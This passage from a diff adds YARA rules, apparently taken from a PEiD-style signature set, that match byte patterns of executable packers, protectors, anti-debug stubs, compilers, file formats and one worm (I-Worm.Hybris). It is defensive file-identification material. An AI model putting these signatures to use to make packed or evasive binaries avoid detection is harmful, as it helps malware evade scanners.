+		$0 = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+		$1 = {C6 05 ?? ?? ?? ?? 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _kkrunchy_023_alpha__Ryd_
+{
+	meta:
+		description = "kkrunchy 0.23 alpha -> Ryd"
+	strings:
+		$0 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 ?? 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 ?? 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 ?? 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 ?? 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 ?? 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 ?? 56 55 FF 53 04 AB 85 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Morphine_12__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Morphine 1.2] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 E2 90 90 90 EB 08 82 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_v132_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector v1.32 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encruptor_v113_
+{
+	meta:
+		description = "Stone`s PE Encruptor v1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81}
+	condition:
+		$0 at entrypoint
+}
+rule _PACKWIN_v101p_
+{
+	meta:
+		description = "PACKWIN v1.01p"
+	strings:
+		$0 = {8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Neolite_v20_
+{
+	meta:
+		description = "Neolite v2.0"
+	strings:
+		$0 = {E9 A6 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_WAV_Audio_file_
+{
+	meta:
+		description = "Microsoft WAV Audio file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 57 41 56 45 66 6D 74}
+	condition:
+		$0
+}
+rule _AudioCD_file_
+{
+	meta:
+		description = "Audio-CD file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 43 44 44 41 66 6D 74}
+	condition:
+		$0
+}
+rule _Kbys_Packer_028_Beta_shoooo314_
+{
+	meta:
+		description = "Kbys Packer 0.28 Beta-> shoooo314"
+	strings:
+		$0 = {68 85 AE 01 01 E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00}
+	condition:
+		$0
+}
+rule _PEArmor_046__Hying_
+{
+	meta:
+		description = "PE-Armor 0.46 -> Hying"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoy_13__NEX_
+{
+	meta:
+		description = "N-Joy 1.3 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 48 36 40 00 E8 54 EE FF FF 6A 00 68 D8 2B 40 00 6A 0A 6A 00 E8 2C EF FF FF E8 23 E7 FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_v3042005_multi_layer_encryption_
+{
+	meta:
+		description = "Simple UPX Cryptor v30.4.2005 [multi layer encryption"
+	strings:
+		$0 = {60 B8 ?? ?? ?? 00 B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+		$1 = {60 B8 ?? ?? ?? ?? B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BamBam_v001_
+{
+	meta:
+		description = "BamBam v0.01"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0 0F 8E 39 01 00 00 89 45 F0 C6 45 FF 00 8D 7D E8 8B F3 8A 0E 8A 17 8A C1 3A CA 75 1E 84 C0 74 16 8A 56 01 8A 4F 01 8A C2 3A D1 75 0E 83 C6 02 83 C7 02 84 C0 75 DC 33 C0 EB 05 1B C0 83 D8 FF 85 C0 75 04 C6 45 FF 01 8B 43 10 85 C0 0F 84 DD 00 00 00 8B 43 08 50 E8 D7 04 00 00 8A 4D FF 83 C4 04 84 C9 8B 4B 08 89 45 F8 C7 45 F4 00 00 00 00 74 61 8B 15 07 ?? ?? 00 8B 35 6B ?? ?? 00 8B 7B 0C 2B CA 03 F2 8B D1 03 F7 8B F8 C1 E9 02 F3 A5}
+	condition:
+		$0
+}
+rule _VIRUS__IWormHybris_
+{
+	meta:
+		description = "VIRUS - I-Worm.Hybris"
+	strings:
+		$0 = {EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15}
+	condition:
+		$0
+}
+rule _Obsidium_13013__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.13 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03}
+		$1 = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8 13 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _TMTPascal_v040_
+{
+	meta:
+		description = "TMT-Pascal v0.40"
+	strings:
+		$0 = {0E 1F 06 8C 06 ?? ?? 26 A1 ?? ?? A3 ?? ?? 8E C0 66 33 FF 66 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ_Poly_21__Extranger_
+{
+	meta:
+		description = "SimbiOZ Poly 2.1 -> Extranger"
+	strings:
+		$0 = {55 50 8B C4 83 C0 04 C7 00 ?? ?? ?? ?? 58 C3 90}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_Dll_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Dll (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrypt_102_
+{
+	meta:
+		description = "PE-Crypt 1.02"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Windows_Update_CAB_SFX_module_
+{
+	meta:
+		description = "Microsoft Windows Update CAB SFX module"
+	strings:
+		$0 = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18}
+		$1 = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18 8B 55 20 89 50 1C 8B 55 24 89 50 20 8B 55 28 89 48 48 89 48 44 89 48 4C B9 FF FF 00 00 89 70 08 89 10 66 C7 80 B2 00 00 00 0F 00 89 88 A0 00 00 00 89 88 A8 00 00 00 89 88 A4 00 00}
+	condition:
+		$0 or $1
+}
+rule _FakeNinja_v28_AntiDebug__Spirit_
+{
+	meta:
+		description = "FakeNinja v2.8 (Anti-Debug) -> Spirit"
+	strings:
+		$0 = {64 A1 18 00 00 00 EB 02 C3 11 8B 40 30 EB 01 0F 0F B6 40 02 83 F8 01 74 FE EB 01 E8 90 C0 FF FF EB 03 BD F4 B5 64 A1 30 00 00 00 0F B6 40 02 74 01 BA 74 E0 50 00 64 A1 30 00 00 00 83 C0 68 8B 00 EB 00 83 F8 70 74 CF EB 02 EB FE 90 90 90 0F 31 33 C9 03 C8 0F 31 2B C1 3D FF 0F 00 00 73 EA E8 08 00 00 00 C1 3D FF 0F 00 00 74 AA EB 07 E8 8B 40 30 EB 08 EA 64 A1 18 00 00 00 EB F2 90 90 90 BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40 11 00 00 6A 00 6A 00 FF 35 70 11 40 00 FF 35 84 11 40 00 E8 25 11 00 00 FF}
+	condition:
+		$0
+}
+rule _Pe_Ninja__pDzA_kRAker_TNT_
+{
+	meta:
+		description = "Pe Ninja -> +DzA kRAker [TNT"
+	strings:
+		$0 = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$1 = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NX_PE_Packer_v10_
+{
+	meta:
+		description = "NX PE Packer v1.0"
+	strings:
+		$0 = {FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v1401_
+{
+	meta:
+		description = "EXECryptor v1.4.0.1"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v1501_Options__Light_Full_support_CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.5.0.1 (Options -> Light, Full support) CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC ?? 02 00 00 53 56 57 83 A5 ?? FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Pascal_Configuration_File_
+{
+	meta:
+		description = "Turbo Pascal Configuration File"
+	strings:
+		$0 = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E}
+	condition:
+		$0
+}
+rule _CRYPToCRACks_PE_Protector_v093__Lucas_Fleischer_h_
+{
+	meta:
+		description = "CRYPToCRACk's PE Protector v0.9.3 -> Lucas Fleischer (h)"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00 00 81 EB 00 01 00 00 75 BE 90 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 7A ?? ?? ?? 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 C1 00 46 61 74 61 6C 45 78 69 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Libraries_by_John_Socha_
+{
+	meta:
+		description = "Libraries by John Socha"
+	strings:
+		$0 = {BB ?? ?? 8E DB 2E 89 ?? ?? ?? 8D ?? ?? ?? 25 ?? ?? FA 8E D3 8B E0 FB 26 A1 A3 ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_V2736__Jitit_
+{
+	meta:
+		description = "Thinstall V2.736 -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_v31__North_Star_
+{
+	meta:
+		description = "NsPack v3.1 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5 68 00 80 00 00 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_25xx__Jtit_
+{
+	meta:
+		description = "Thinstall 2.5xx -> Jtit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v25_Retail_Slim_Loader__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact v2.5 Retail (Slim Loader) -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_Microsoft_Visual_Cpp__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake Microsoft Visual C++) -> emadicius"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+	condition:
+		$0
+}
+rule _VPacker__ttui__Sign_by_fly_
+{
+	meta:
+		description = "VPacker -> ttui ! Sign by fly"
+	strings:
+		$0 = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC 8B 55 14 83 C2 20 89 02 68 00 80 00 00 6A 00 8B 45 D4 50 FF 55 EC 8B 55 DC 8B 42 3C 03 45 DC 83 C0 04 8B D8 83 C3 14 8D 45 E0 50 6A 40 68 00 10 00 00 52 FF 55 E8 8D 43 60}
+	condition:
+		$0
+}
+rule _STNPEE_113_
+{
+	meta:
+		description = "STNPEE 1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_13x__Cyberbob_
+{
+	meta:
+		description = "PESpin 1.3x -> Cyberbob"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V2717V2719__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.717-V2.719 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrackStop_v101_c_Stefan_Esser_1997_
+{
+	meta:
+		description = "CrackStop v1.01 (c) Stefan Esser 1997"
+	strings:
+		$0 = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC}
+	condition:
+		$0 at entrypoint
+}
+rule _VideoCD_file_
+{
+	meta:
+		description = "Video-CD file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 43 44 58 41 66 6D 74}
+	condition:
+		$0
+}
+rule _mPack_V003__DeltaAziz_
+{
+	meta:
+		description = "mPack V0.03 -> DeltaAziz"
+	strings:
+		$0 = {55 8B EC 83 ?? ?? 33 C0 89 45 F0 B8 ?? ?? ?? ?? E8 67 C4 FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? E8 FA C9 FF FF 83 F8 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Zortech_C_
+{
+	meta:
+		description = "Zortech C"
+	strings:
+		$0 = {E8 ?? ?? 2E FF ?? ?? ?? FC 06}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_stub_
+{
+	meta:
+		description = "UPX Modified stub"
+	strings:
+		$0 = {79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _v02Packer__ttt_
+{
+	meta:
+		description = "v.02Packer -> tt.t"
+	strings:
+		$0 = {60 E8 36 FE FF FF C3 90 ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey__Kenonic_Controls_h_
+{
+	meta:
+		description = "CrypKey -> Kenonic Controls (h)"
+	strings:
+		$0 = {8B 1D ?? ?? 3E 00 83 FB 00 75 0A E8 3C 00 00 00 E8 ?? 0A 00 00 8B 44 24 08 50 E8 ?? 02 00 00 A1 ?? ?? 3E 00 83 F8 01 74 06 FF 25 14 ?? 3E 00 C3 C8 00 00 00 53 8B 5D 08 33 C0 8B 4D 0C 8B 13 33 D3 83 C3 04 03 C2 49 75 F4 5B C9 C3 56 68 ?? ?? 3E 00 E8 ?? 16 00 00 8B F0 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Amiga_IFFILBM_Graphics_format_
+{
+	meta:
+		description = "Amiga IFF/ILBM Graphics format"
+	strings:
+		$0 = {46 4F 52 4D ?? ?? ?? ?? 49 4C 42 4D 42 4D 48 44}
+	condition:
+		$0
+}
+rule _PECompact_v184_
+{
+	meta:
+		description = "PECompact v1.84"
+	strings:
+		$0 = {33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13_
+{
+	meta:
+		description = "Petite 1.3"
+	strings:
+		$0 = {66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1}
+	condition:
+		$0
+}
+rule _PC_Shrinker_v045_
+{
+	meta:
+		description = "PC Shrinker v0.45"
+	strings:
+		$0 = {BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_096__tE_
+{
+	meta:
+		description = "tElock 0.96 -> tE!"
+	strings:
